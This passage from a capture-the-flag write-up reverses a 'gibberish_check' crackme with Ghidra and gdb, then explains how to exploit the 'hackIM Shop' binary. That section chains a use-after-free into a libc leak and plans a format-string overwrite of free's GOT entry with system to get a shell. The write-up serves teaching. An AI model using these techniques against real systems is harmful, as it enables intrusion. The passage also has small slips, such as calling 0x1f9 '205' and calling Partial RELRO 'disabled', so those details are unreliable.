  basic_string(local_2f8,(allocator *)"xujaowgbjjhydjmmtapo");
  allocator();
                    /* try { // try from 00101ee8 to 00101eec has its
CatchHandler @ 001028ec */
  basic_string(local_2d8,(allocator *)"pwbzgymqvpmznoanomzx");
  allocator();
                    /* try { // try from 00101f1e to 00101f22 has its
CatchHandler @ 001028d8 */
  basic_string(local_2b8,(allocator *)"qaqhrjofhfiuyt_okwxn");
  allocator();
                    /* try { // try from 00101f54 to 00101f58 has its
```

```
CatchHandler @ 001028c4 */
  basic_string(local_298,(allocator *)"a_anqkczwbydtdwwbjwi");
  allocator();
                    /* try { // try from 00101f8a to 00101f8e has its
CatchHandler @ 001028b0 */
  basic_string(local_278,(allocator *)"zoljafyuxinnvkxsskdu");
  allocator();
                    /* try { // try from 00101fc0 to 00101fc4 has its
CatchHandler @ 0010289c */
  basic_string(local_258,(allocator *)"irdlddjjokwtpbrrr_yj");
  allocator();
                    /* try { // try from 00101ff6 to 00101ffa has its
CatchHandler @ 00102888 */
  basic_string(local_238,(allocator *)"cecckcvaltzejskg_qrc");
  allocator();
                    /* try { // try from 0010202c to 00102030 has its
CatchHandler @ 00102874 */
  basic_string(local_218,(allocator *)"vlpwstrhtcpxxnbbcbhv");
  allocator();
                    /* try { // try from 00102062 to 00102066 has its
CatchHandler @ 00102860 */
  basic_string(local_1f8,(allocator *)"spirysagnyujbqfhldsk");
  allocator();
                    /* try { // try from 00102098 to 0010209c has its
CatchHandler @ 0010284c */
  basic_string(local_1d8,(allocator *)"bcyqbikpuhlwordznpth");
  allocator();
                    /* try { // try from 001020ce to 001020d2 has its
CatchHandler @ 00102838 */
  basic_string(local_1b8,(allocator *)"_xkiiusddvvicipuzyna");
  allocator();
                    /* try { // try from 00102104 to 00102108 has its
CatchHandler @ 00102824 */
  basic_string(local_198,(allocator *)"wsxyupdsqatrkzgawzbt");
  allocator();
                    /* try { // try from 0010213a to 0010213e has its
CatchHandler @ 00102810 */
  basic_string(local_178,(allocator *)"ybg_wmftbdcvlhhidril");
  allocator();
                    /* try { // try from 00102170 to 00102174 has its
CatchHandler @ 001027fc */
  basic_string(local_158,(allocator *)"ryvmngilaqkbsyojgify");
  allocator();
                    /* try { // try from 001021a6 to 001021aa has its
CatchHandler @ 001027e8 */
  basic_string(local_138,(allocator *)"mvefjqtxzmxf_vcyhelf");
  allocator();
                    /* try { // try from 001021dc to 001021e0 has its
CatchHandler @ 001027d4 */
  basic_string(local_118,(allocator *)"hjhofxwrk_rpwli_mxv_");
  allocator();
                    /* try { // try from 00102212 to 00102216 has its
CatchHandler @ 001027c0 */
```

```
  basic_string(local_f8,(allocator *)"enupmannieqqzcyevs_w");
  allocator();
                    /* try { // try from 00102248 to 0010224c has its
CatchHandler @ 001027ac */
  basic_string(local_d8,(allocator *)"uhmvvb_cfgjkggjpavub");
  allocator();
                    /* try { // try from 0010227e to 00102282 has its
CatchHandler @ 00102798 */
  basic_string(local_b8,(allocator *)"gktdphqiswomuwzvjtog");
  allocator();
                    /* try { // try from 001022b4 to 001022b8 has its
CatchHandler @ 00102784 */
  basic_string(local_98,(allocator *)"lgoehepwclbaifvtfoeq");
  allocator();
                    /* try { // try from 001022ea to 001022ee has its
CatchHandler @ 00102770 */
  basic_string(local_78,(allocator *)"nm_uxrukmof_fxsfpcqz");
  allocator();
                    /* try { // try from 00102320 to 00102324 has its
CatchHandler @ 0010275c */
  basic_string(local_58,(allocator *)"ttsbclzyyuslmutcylcm");
  FUN_00102e5a(&local_408);
                    /* try { // try from 0010236a to 0010236e has its
CatchHandler @ 0010271a */
  FUN_00102eda(local_3f8,inp0,0x1a,&local_408);
  FUN_00102e76(&local_408);
  this_00 = abStack56;
  while (this_00 != inp0) {
    this_00 = this_00 + -0x20;
    ~basic_string(this_00);
  }
  ~allocator((allocator<char> *)&local_410);
  ~allocator(&local_415);
  ~allocator(&local_416);
  ~allocator(&local_417);
  ~allocator(&local_418);
  ~allocator(&local_419);
  ~allocator(&local_41a);
  ~allocator(&local_41b);
  ~allocator(&local_41c);
  ~allocator(&local_41d);
  ~allocator(&local_41e);
  ~allocator(&local_41f);
  ~allocator(&local_420);
  ~allocator(&local_421);
  ~allocator(&local_422);
  ~allocator(&local_423);
  ~allocator(&local_424);
  ~allocator(&local_425);
  ~allocator(&local_426);
  ~allocator(&local_427);
  ~allocator(&local_428);
  ~allocator(&local_429);
```

```
  ~allocator(&local_42a);
  ~allocator(&local_42b);
  ~allocator(&local_42c);
  ~allocator(&local_42d);
                    /* try { // try from 0010253a to 00102553 has its
CatchHandler @ 001029bd */
  this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"Find the
Key!");
  operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--
char_traits<char>>);
  basic_string();
  check = 0;
                    /* try { // try from 0010257e to 00102601 has its
CatchHandler @ 001029a9 */
  operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream
*)cin,local_3d8);
  local_400 = local_3f8;
  local_410 = FUN_00102fd8(local_400);
  local_408 = FUN_00103020(local_400);
  while( true ) {
    cVar1 = FUN_0010306c(&local_410,&local_408,&local_408);
    if (cVar1 == '\0') break;
    FUN_001030c8(&local_410);
    basic_string(local_3b8);
                    /* try { // try from 00102616 to 0010261a has its
CatchHandler @ 00102995 */
    basic_string((basic_string *)inp0);
                    /* try { // try from 0010262f to 00102633 has its
CatchHandler @ 00102981 */
    basic_string(string);
                    /* try { // try from 00102648 to 0010264c has its
CatchHandler @ 0010296d */
    _checkOutput = checkFunction((basic_string<char,std--char_traits<char>,std--
allocator<char>> *)
                                 string,inp0);
    check = check + (int)_checkOutput;
    ~basic_string((basic_string<char,std--char_traits<char>,std--
allocator<char>> *)string);
    ~basic_string(inp0);
    ~basic_string((basic_string<char,std--char_traits<char>,std--
allocator<char>> *)local_3b8);
    FUN_001030a8(&local_410);
  }
  if ((_checkFunction & 0xff) == 0xcc) {
                    /* try { // try from 001026b3 to 001026de has its
CatchHandler @ 001029a9 */
    puts("Rip");
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  if (check == 0x1f9) {
    win();
    FUN_00101c62();
```

```
  }
  else {
    loose();
  }
  ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>>
*)local_3d8);
  FUN_00102f94(local_3f8);
  if (local_30 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

So we can see here, it is essentially calling `checkFunction` several times in a loop, and suming up all of it's outputs. If the sum is equal to `0x1f9`, we solve the challenge.

Which the `checkFunction` function looks like this:

```
ulong checkFunction(basic_string<char,std--char_traits<char>,std--
allocator<char>> *string,
                   basic_string<char,std--char_traits<char>,std--
allocator<char>> *input)

{
  int stringSize;
  int inputSize;
  undefined8 uVar1;
  long x;
  int *piVar2;
  char *output;
  char *pcVar3;
  undefined4 *check;
  undefined4 *checkArray;
  uint *returnPtr;
  uint returnVar;
  long y;
  long in_FS_OFFSET;
  uint local_a8;
  uint isEqual;
  int local_a0;
  int local_9c;
  int j;
  int i;
  int stackVar;
  ulong local_88;
  int output1;
  undefined4 uStack124;
  long inputStack0 [4];
  undefined4 p [8];
  undefined inputString [24];
  long local_20;
  char sOutput0;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  stringSize = size();
  inputSize = size();
  FUN_00102b52(&output1);
  FUN_00102a6c(&local_88);
  p[0] = 0;
                    /* try { // try from 001016d9 to 001016dd has its
CatchHandler @ 00101b1a */
  FUN_00102aa4(inputString,(long)(stringSize + 1),p,&local_88);
                    /* try { // try from 001016f9 to 001016fd has its
CatchHandler @ 00101b06 */
  FUN_00102b8a(inputStack0,(long)(inputSize + 1),inputString,&output1);
  FUN_00102b0e(inputString);
  FUN_00102a88(&local_88);
  FUN_00102b6e(&output1);
  FUN_00102c38(p);
```

```
  FUN_00102c38(inputString);
  if ((stringSize == 0) || (inputSize == 0)) {
    returnVar = 0;
  }
  else {
    local_a0 = 1;
    while (local_a0 < stringSize + 1) {
                    /* try { // try from 0010178a to 001018e5 has its
CatchHandler @ 00101b40 */
      uVar1 = operator[](string,(long)(local_a0 + -1));
      func7(p,uVar1,uVar1);
      x = multiply18(inputStack0,0);
      piVar2 = (int *)addMul4(x,(long)local_a0);
      *piVar2 = local_a0;
      local_a0 = local_a0 + 1;
    }
    local_9c = 1;
    while (local_9c < inputSize + 1) {
      uVar1 = operator[](input,(long)(local_9c + -1));
      func7(inputString,uVar1,uVar1);
      x = multiply18(inputStack0,(long)local_9c);
      piVar2 = (int *)addMul4(x,0);
      *piVar2 = local_9c;
      local_9c = local_9c + 1;
    }
    local_a8 = local_a8 & 0xffffff00;
    local_88 = func6(p);
    func5(&output1,&local_88,&local_88);
    func4(p,CONCAT44(uStack124,output1),&local_a8,CONCAT44(uStack124,output1));
    local_a8 = local_a8 & 0xffffff00;
    local_88 = func6(inputString);
    func5(&output1,&local_88,&local_88);

func4(inputString,CONCAT44(uStack124,output1),&local_a8,CONCAT44(uStack124,output
    j = 1;
    while (j < inputSize + 1) {
      i = 1;
      while (i < stringSize + 1) {
        output = (char *)add(p,(long)j,(long)j);
        sOutput0 = *output;
        pcVar3 = (char *)add(inputString,(long)i,(long)i);
        isEqual = (uint)(sOutput0 != *pcVar3);
        x = multiply18(inputStack0,(long)j);
        piVar2 = (int *)addMul4(x,(long)(i + -1));
        output1 = *piVar2 + 1;
        x = multiply18(inputStack0,(long)(j + -1));
        piVar2 = (int *)addMul4(x,(long)i);
        local_88 = local_88 & 0xffffffff00000000 | (ulong)(*piVar2 + 1);
        x = multiply18(inputStack0,(long)(j + -1));
        piVar2 = (int *)addMul4(x,(long)(i + -1));
        local_a8 = isEqual + *piVar2;
        uVar1 = cmp(&local_a8,&local_88,&local_88);
        check = (undefined4 *)cmp(uVar1,&output1,uVar1);
```

```
        x = multiply18(inputStack0,(long)j);
        checkArray = (undefined4 *)addMul4(x,(long)i);
        *checkArray = *check;
        i = i + 1;
      }
      j = j + 1;
    }
    y = (long)stringSize;
    x = multiply18(inputStack0,(long)inputSize);
    returnPtr = (uint *)addMul4(x,y);
    returnVar = *returnPtr;
  }
  FUN_00102c54(inputString);
  FUN_00102c54(p);
  FUN_00102bf4(inputStack0);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return (ulong)returnVar;
}
```

Thing is, we don't actually need to understand the internal working of the function, to be able to know what the output will be. We can effectively find out what it does using gdb:

```
$    gdb ./gibberish_check_patched
GNU gdb (Ubuntu 8.2.91.20190405-0ubuntu3) 8.2.91.20190405-git
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
75 commands loaded for GDB 8.2.91.20190405-git using Python engine 3.7
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./gibberish_check_patched...
(No debugging symbols found in ./gibberish_check_patched)
gef➤  pie b *0x2648
gef➤  pie run
Stopped due to shared library event (no libraries added or removed)
Find the Key!
15935728

Breakpoint 1, 0x0000555555556648 in ?? ()
[+] base address 0x555555554000
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffda60  →  0x00005555557700f0  →  "dqzkenxmpsdoe_qkihmd"
$rbx   : 0x00007fffffffda80  →  0x00007fffffffda90  →  "15935728"
$rcx   : 0x000055555575e010  →  0x0000000000000005
$rdx   : 0x00007fffffffda80  →  0x00007fffffffda90  →  "15935728"
$rsp   : 0x00007fffffffd9c0  →  0x0000000000000000
$rbp   : 0x00007fffffffddf0  →  0x0000555555559860  →   push r15
$rsi   : 0x00007fffffffda80  →  0x00007fffffffda90  →  "15935728"
$rdi   : 0x00007fffffffda60  →  0x00005555557700f0  →  "dqzkenxmpsdoe_qkihmd"
$rip   : 0x0000555555556648  →   call 0x5555555564a
$r8    : 0x00005555557700d0  →  "dqzkenxmpsdoe_qkihmd"
$r9    : 0x00007ffff7fa6020  →  0x00007ffff7fa5168  →  0x00007ffff7e75b90  →
<__cxxabiv1::__class_type_info::~__class_type_info()+0> mov rax, QWORD PTR
[rip+0x137df9]        # 0x7ffff7fad990
$r10   : 0x6
$r11   : 0x00007ffff7e890c0  →  <std::locale::locale(std::locale+0> mov rax,
QWORD PTR [rsi]
$r12   : 0x00007fffffffda80  →  0x00007fffffffda90  →  "15935728"
$r13   : 0x1a
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume
```

```
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd9c0│+0x0000: 0x0000000000000000     ← $rsp
0x00007fffffffd9c8│+0x0008: 0x0000000000000000
0x00007fffffffd9d0│+0x0010: 0x0000000000000000
0x00007fffffffd9d8│+0x0018: 0x0002ffff00001f80
0x00007fffffffd9e0│+0x0020: 0x0000000000000000
0x00007fffffffd9e8│+0x0028: 0x00005555557701b0  →  0x0000555555770500  →
"dqzkenxmpsdoe_qkihmd"
0x00007fffffffd9f0│+0x0030: 0x00005555557704f0  →  0x0000000000000000
0x00007fffffffd9f8│+0x0038: 0x00007fffffffda00  →  0x00005555557701b0  →
0x0000555555770500  →  "dqzkenxmpsdoe_qkihmd"
─────────────────────────────────────────────────────────── code:x86:64 ────
   0x55555555663b                  lea    rax, [rbp-0x390]
   0x555555556642                  mov    rsi, rdx
   0x555555556645                  mov    rdi, rax
 → 0x555555556648                  call   0x55555555564a
   ↳  0x55555555564a                  push   rbp
      0x55555555564b                  mov    rbp, rsp
      0x55555555564e                  push   r12
      0x555555555650                  push   rbx
      0x555555555651                  sub    rsp, 0xa0
      0x555555555658                  mov    QWORD PTR [rbp-0xa8], rdi
───────────────────────────────────────────────────── arguments (guessed) ────
0x55555555564a (
   $rdi = 0x00007fffffffda60 → 0x00005555557700f0 → "dqzkenxmpsdoe_qkihmd",
   $rsi = 0x00007fffffffda80 → 0x00007fffffffda90 → "15935728",
   $rdx = 0x00007fffffffda80 → 0x00007fffffffda90 → "15935728"
)
────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "gibberish_check", stopped, reason: BREAKPOINT
──────────────────────────────────────────────────────────────── trace ────
[#0] 0x555555556648 → call 0x55555555564a
[#1] 0x7ffff7bf3b6b → __libc_start_main(main=0x555555555d98, argc=0x1,
argv=0x7fffffffded8, init=<optimized out>, fini=<optimized out>, rtld_fini=
<optimized out>, stack_end=0x7fffffffdec8)
[#2] 0x55555555556a → hlt
───────────────────────────────────────────────────────────────────────────
gef➤
```

Right now we can see that the input to `checkFunction` is the string `dqzkenxmpsdoe_qkihmd"`, and our input `15935728`. In the debugger, we see that this loop runs for `26` times. Each time it runs with a different string, which we can see from running `strings`:

```
$    strings gibberish_check_patched

.    .    .

dqzkenxmpsdoe_qkihmd
jffglzbo_zghqpnqqfjs
kdwx_vl_rnesamuxugap
ozntzohegxagreedxukr
xujaowgbjjhydjmmtapo
pwbzgymqvpmznoanomzx
qaqhrjofhfiuyt_okwxn
a_anqkczwbydtdwwbjwi
zoljafyuxinnvkxsskdu
irdlddjjokwtpbrrr_yj
cecckcvaltzejskg_qrc
vlpwstrhtcpxxnbbcbhv
spirysagnyujbqfhldsk
bcyqbikpuhlwordznpth
_xkiiusddvvicipuzyna
wsxyupdsqatrkzgawzbt
ybg_wmftbdcvlhhidril
ryvmngilaqkbsyojgify
mvefjqtxzmxf_vcyhelf
hjhofxwrk_rpwli_mxv_
enupmannieqqzcyevs_w
uhmvvb_cfgjkggjpavub
gktdphqiswomuwzvjtog
lgoehepwclbaifvtfoeq
nm_uxrukmof_fxsfpcqz
ttsbclzyyuslmutcylcm
```

When we try passing our input as one of the strings, we see something interesting. Here it is as it makes the `checkFunction` call:

```
stack ────
0x00007fffffffd9c0│+0x0000: 0x0000000000000000     ← $rsp
0x00007fffffffd9c8│+0x0008: 0x0000000000000000
0x00007fffffffd9d0│+0x0010: 0x0000000000000000
0x00007fffffffd9d8│+0x0018: 0x0002ffff00001f80
0x00007fffffffd9e0│+0x0020: 0x0000000000000000
0x00007fffffffd9e8│+0x0028: 0x00005555557701b0  →  0x0000555555770500  →
"dqzkenxmpsdoe_qkihmd"
0x00007fffffffd9f0│+0x0030: 0x00005555557704f0  →  0x0000000000000000
0x00007fffffffd9f8│+0x0038: 0x00007fffffffda00  →  0x00005555557701b0  →
0x0000555555770500  →  "dqzkenxmpsdoe_qkihmd"
────────────────────────────────────────────────────────────────────────────
code:x86:64 ────
   0x55555555663b                 lea    rax, [rbp-0x390]
   0x555555556642                 mov    rsi, rdx
   0x555555556645                 mov    rdi, rax
 → 0x555555556648                 call   0x55555555564a
   ↳  0x55555555564a                 push   rbp
      0x55555555564b                 mov    rbp, rsp
      0x55555555564e                 push   r12
      0x555555555650                 push   rbx
      0x555555555651                 sub    rsp, 0xa0
      0x555555555658                 mov    QWORD PTR [rbp-0xa8], rdi
────────────────────────────────────────────────────────────────────────────
arguments (guessed) ────
0x55555555564a (
   $rdi = 0x00007fffffffda60 → 0x0000555555770110 → "dqzkenxmpsdoe_qkihmd",
   $rsi = 0x00007fffffffda80 → 0x00005555557700f0 → "dqzkenxmpsdoe_qkihmd",
   $rdx = 0x00007fffffffda80 → 0x00005555557700f0 → "dqzkenxmpsdoe_qkihmd"
)
────────────────────────────────────────────────────────────────────────────
threads ────
[#0] Id 1, Name: "gibberish_check", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────
trace ────
[#0] 0x555555556648 → call 0x55555555564a
[#1] 0x7ffff7bf3b6b → __libc_start_main(main=0x555555555d98, argc=0x1,
argv=0x7fffffffded8, init=<optimized out>, fini=<optimized out>, rtld_fini=
<optimized out>, stack_end=0x7fffffffdec8)
[#2] 0x55555555556a → hlt
────────────────────────────────────────────────────────────────────────────
gef➤  s
```

This is the output we see:

```
stack ────
0x00007fffffffd9c0│+0x0000: 0x0000000000000000     ← $rsp
0x00007fffffffd9c8│+0x0008: 0x0000000000000000
0x00007fffffffd9d0│+0x0010: 0x0000000000000000
0x00007fffffffd9d8│+0x0018: 0x0002ffff00001f80
0x00007fffffffd9e0│+0x0020: 0x0000000000000000
0x00007fffffffd9e8│+0x0028: 0x00005555557701b0  →  0x0000555555770500  →
"dqzkenxmpsdoe_qkihmd"
0x00007fffffffd9f0│+0x0030: 0x00005555557704f0  →  0x0000000000000000
0x00007fffffffd9f8│+0x0038: 0x00007fffffffda00  →  0x00005555557701b0  →
0x0000555555770500  →  "dqzkenxmpsdoe_qkihmd"
```

```
code:x86:64 ────
   0x555555556642                  mov    rsi, rdx
   0x555555556645                  mov    rdi, rax
   0x555555556648                  call   0x55555555564a
 → 0x55555555664d                  add    DWORD PTR [rbp-0x40c], eax
   0x555555556653                  lea    rax, [rbp-0x390]
   0x55555555665a                  mov    rdi, rax
   0x55555555665d                  call   0x555555555380
<_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev@plt>
   0x555555556662                  lea    rax, [rbp-0x370]
   0x555555556669                  mov    rdi, rax
```

```
threads ────
[#0] Id 1, Name: "gibberish_check", stopped, reason: TEMPORARY BREAKPOINT
```

```
trace ────
[#0] 0x55555555664d → add DWORD PTR [rbp-0x40c], eax
[#1] 0x7ffff7bf3b6b → __libc_start_main(main=0x555555555d98, argc=0x1,
argv=0x7fffffffded8, init=<optimized out>, fini=<optimized out>, rtld_fini=
<optimized out>, stack_end=0x7fffffffdec8)
[#2] 0x55555555556a → hlt
```

```
gef➤  p $eax
$1 = 0x0
gef➤
```

So we can see that when our input string matched the other input, the output was `0x0` . This gave me an idea. What if the number return was the number of characters that the two inputs don't share. Doing a bit of trial and error showed that there is slightly more to it. It appears that it starts checking if our input is in the string, at the character that corresponds to the loop. For instance the first time `checkFunction` is called, it will start checking with the first character. After it finds a character from our input that does not match, it moves on to the next check

We need the collective output of all of the `checkFunction` calls to be `0x1f9` (`205`). There are `0x208` (`520`) characters present. That means that our input needs to have `15` matches with the strings provided. When I looked, the closest one I could find was `e` with `16`. So for this, I just swapped out one of the `e` characters for a character that would not overlap with the corresponding string it was being compared to. The string for this had to have one `e`, so the collisions would be decremented from `16` to `15`.

With that, we end up with the string `ee1eeeeeeeeeeeeeeee`. When we try it:

```
$    ./gibberish_check
Find the Key!
ee1eeeeeeeeeeeeeeee
Correct!
```

Just like that, we reversed the challenge!

hackIM Shop

Reversing

Let's take a look at the binary:

```
$    file challenge
challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=fe602c2cb2390d3265f28dc0d284029dc91a2df8, not stripped
$    pwn checksec challenge
[*] '/Hackery/hackIM/store/challenge'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

So we are dealing with a `64` bit binary with no PIE or RELRO. When we run the binary, we see that we have the option to add, remove and view books. When we take a look at the main function in Ghidra, we see this:

```
void main(void)

{
  int option;
  ssize_t bytesRead;
  long menInput;
  char menuInput [8];

  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  do {
    while( true ) {
      menu();
      bytesRead = read(0,menuInput,2);
      if (bytesRead != 0) break;
      perror("Err read option\r\n");
    }
    menInput = atol(menuInput);
    option = (int)menInput;
    if (option == 2) {
      remove_book();
    }
    else {
      if (option == 3) {
        view_books();
      }
      else {
        if (option == 1) {
          add_book();
        }
        else {
          puts("Invalid option");
        }
      }
    }
  } while( true );
}
```

So we can see the main function, it essentially just acts as a menu which launches the `remove_book`, `view_books`, and `add_book` functions. Looking at the `add_book` function we see this:

```c
void add_book(void)

{
  void *ptr0;
  ulong __size;
  void *ptr1;
  size_t nameLen;
  size_t nameLen1;
  undefined8 price;
  long in_FS_OFFSET;
  int index;
  long canary;
  long name;
  long name1;

  canary = *(long *)(in_FS_OFFSET + 0x28);
  if (num_books == 0x10) {
    puts("Cart limit reached!");
  }
  else {
    ptr0 = malloc(0x38);
    printf("Book name length: ");
    __size = readint();
    if (__size < 0x100) {
      printf("Book name: ");
      ptr1 = malloc(__size);
      *(void **)((long)ptr0 + 8) = ptr1;
      read(0,*(void **)((long)ptr0 + 8),__size);
      name = *(long *)((long)ptr0 + 8);
      nameLen = strlen(*(char **)((long)ptr0 + 8));
      if (*(char *)((nameLen - 1) + name) == '\n') {
        name1 = *(long *)((long)ptr0 + 8);
        nameLen1 = strlen(*(char **)((long)ptr0 + 8));
        *(undefined *)((nameLen1 - 1) + name1) = 0;
      }
      printf("Book price: ");
      price = readint();
      *(undefined8 *)((long)ptr0 + 0x10) = price;
      index = 0;
      while (*(long *)(books + (long)index * 8) != 0) {
        index = index + 1;
      }
      *(void **)(books + (long)index * 8) = ptr0;
      **(long **)(books + (long)index * 8) = (long)index;
      num_books = num_books + 1;
      strcpy((char *)(*(long *)(books + (long)index * 8) + 0x18),cp_stmt);
    }
    else {
      puts("Too big!");
    }
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
```

```
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}
```

So here is the function which adds books. We can see that it first allocates a chunk of memory with malloc (size `0x38`), then allocates a second chunk of memory with malloc, and the ptr to that is stored in the first chunk of memory at offset `8`. In the second chunk of memory, we get to scan in up to `0xff` bytes of memory (depending on what we give it as a size), and the chunk of memory scales with it. After that it prompts us for the price of the books. Finally it stores the initial pointer in `books` which is the bss address `0x6021a0`, increments the count of books `num_books` (bss address `0x6020e0`), and then copies the string `Copyright NullCon Shop` stored in `cp_stmt` to the first chunk of memory. Also there is a limit of `0xf` on how many books we can have allocated at a time. Reversing out everything, we can see that this is how the data is structured:

Books is a single array of heap pointers:

```
gef➤  x/2g 0x6021a0
0x6021a0 <books>: 0x0000000000603260  0x00000000006032c0
```

Each book has the following structure:

```
0x0:    Int contains index of book
0x8:    Ptr to name of book
0x10:   len of book name
0x18:   The string ""Copyright NullCon Shop"
```

Which we can see that layout in gdb:

```
gef➤  x/10g 0x6032c0
0x6032c0: 0x0000000000000001  0x0000000000603300
0x6032d0: 0x0000000000000019  0x6867697279706f43
0x6032e0: 0x6f436c6c754e2074  0x0000706f6853206e
0x6032f0: 0x0000000000000000  0x0000000000000031
0x603300: 0x3639383532313437  0x0000000000000000
```

Looking at the `view_books` function, we see this:

```
void view_books(void)

{
  undefined8 uVar1;
  int index;

  puts("{");
  puts("\t\"Books\" : [");
  index = 0;
  while (index < 0x10) {
    if (*(long *)(books + (long)index * 8) != 0) {
      uVar1 = **(undefined8 **)(books + (long)index * 8);
      puts("\t\t{");
      printf("\t\t\t\"index\": %ld,\n",uVar1);
      printf("\t\t\t\"name\": \"%s\",\n",*(undefined8 *)(*(long *)(books +
(long)index * 8) + 8));
      printf("\t\t\t\"price\": %ld,\n",*(undefined8 *)(*(long *)(books +
(long)index * 8) + 0x10));
      printf("\t\t\t\"rights\": \"");
      printf((char *)(*(long *)(books + (long)index * 8) + 0x18));
      puts("\"");
      if (*(long *)(books + (long)(index + 1) * 8) == 0) {
        puts("\t\t}");
      }
      else {
        puts("\t\t},");
      }
    }
    index = index + 1;
  }
  puts("\t]");
  puts("}");
  return;
}
```

Here we can see the `view_books` function, which prints out the various info about the books. We can see that there is a format string bug with `printf((char *)(*(long *)(books + (long)index * 8) + 0x18));` , since it is printing a non static string without a specific format string. However we will need another bug to effectively use it. Looking at the `remove_book` function we see this:

```
void remove_book(void)

{
  ulong index;

  printf("Book index: ");
  index = readint();
  if (index < (ulong)num_books) {
    free(*(void **)(*(long *)(books + index * 8) + 8));
    free(*(void **)(books + index * 8));
    num_books = num_books - 1;
  }
  else {
    puts("Invalid index");
  }
  return;
}
```

Here we can see is the `remove_book` function. It checks to see if the book is valid by checking if the index given is larger than the count of currently allocated books `num_books`, which is a bug. However we see that if the check is passed, that it just frees the two pointers for the associated bug, and decrements `num_books`. However after it frees the pointers, it doesn't get rid of them from `books` (or anywhere else), and doesn't directly edit the data stored there (unless free/malloc does), so we have a use after free bug here.

Infoleak

Since PIE is disabled, we know the addresses of the got table entries. Since RELRO is disabled, we can write to it. Our plan will essentially be to overwrite a pointer that is printed with that of a got table address, and print it, using the use after free bug. This will print out the libc address for the corresponding function for the got table, which we can use to calculate the address of `system` (with gdb, we can print the addresses of the functions and see the offset). From there we will use the use after free bug to overwrite the rights sections of the books with format strings, to overwrite the got table entry for free with `system` (since free is bassed a pointer to data we control, it will make passing a char pointer `/bin/sh\x00` to `system` easy).

For leaking the libc address, I started off by just allocating a lot of books of the same size (`50` because I felt like it). After that, I removed a lot of the books I allocated, then allocated one more, and checked with gdb to see the offset between that and a pointer which is printed. Here is an example in gdb, where I allocated five `50` byte chunks, freed them, then allocated a new book with the name `15935728`:

```
Legend: code, data, rodata, value
Stopped reason: SIGINT
0x00007ffff7af4081 in __GI___libc_read (fd=0x0, buf=0x7ffffffdf80, nbytes=0x2)
    at ../sysdeps/unix/sysv/linux/read.c:27
27    ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gdb-peda$ find 15935728
Searching for '15935728' in: None ranges
Found 1 results, display max 1 items:
[heap] : 0x603360 ("15935728\n3`")
gdb-peda$ x/x 0x603360
0x603360:    0x31
gdb-peda$ x/5g 0x603360
0x603360:    0x3832373533393531    0x000000000060330a
0x603370:    0x0000000000000005    0x6867697279706f43
0x603380:    0x6f436c6c754e2074
```

As you can see, it is just eight bytes from the start of our input before we start overwriting (and we can see, that I even overwrote the least significant byte of the pointer with a newline `0x0a` character). We can tell that this is a pointer to a book, since the address `0x603360` (which is eight bytes before the start of the pointer) is stored in `books`, which from our earlier work we know that the pointer here is to name. With that, we can just write `8` bytes to reach the pointer, overwrite it with a got table address. After that we can just view the books, and we will have our libc infoleak.

Format String

Now that we have the libc leak, we know where the address of system is thanks to the libc infoleak. We will now exploit the format string bug to write the address of system to the got address of free, by overwriting the string `Copyright NullCon Shop` which is printed without a format string. After that we should be able to delete a book with the name `/bin/sh\x00` and it should give us a shell. Looking in gdb, with books allocated for 50 byte names, we see that the offset from the start of our new books to the string `Copyright NullCon Shop` (after we allocate and free a bunch of books) is `24` bytes. Using the traditional method of seeing where our input is on the stack with (check the format string module for more on that, however since it is `64` bit you will have to use `%lx`) we can see that the start of our input can be reached at `%7$lx` (input being first eight bytes of the new book name).

Now for the actual write itself, I will do three writes of two bytes each. The reason for this being, we can see using the infoleak that libc addresses for the binary, the highest two bytes are 0x0000, which are taken care of by the format string write (since if we write `0x0a`, it will append null bytes to the front of it due to the data value being written). This just leaves us with 6 bytes essentially that we need to worry about being written. I decided to just do three writes of two bytes each (just a balance between the amount of bytes being written versus number of writes I decided on). We need to do multiple writes, since when we do a format string write, it will print the amount of bytes equivalent to the write, and if we were to do it all in one giant write it would crash usually. Also we needed to write the lowest two bytes, then the second lowest two bytes, and then finally the third lowest two bytes, because of the additional zeroes, we would be overwriting data we have written with a previous write. To find out the order of the writes, we just look at the order in which they are printed (first data printed = first write). Also to specify amount of bytes being written we will just append `%Yx` right before the 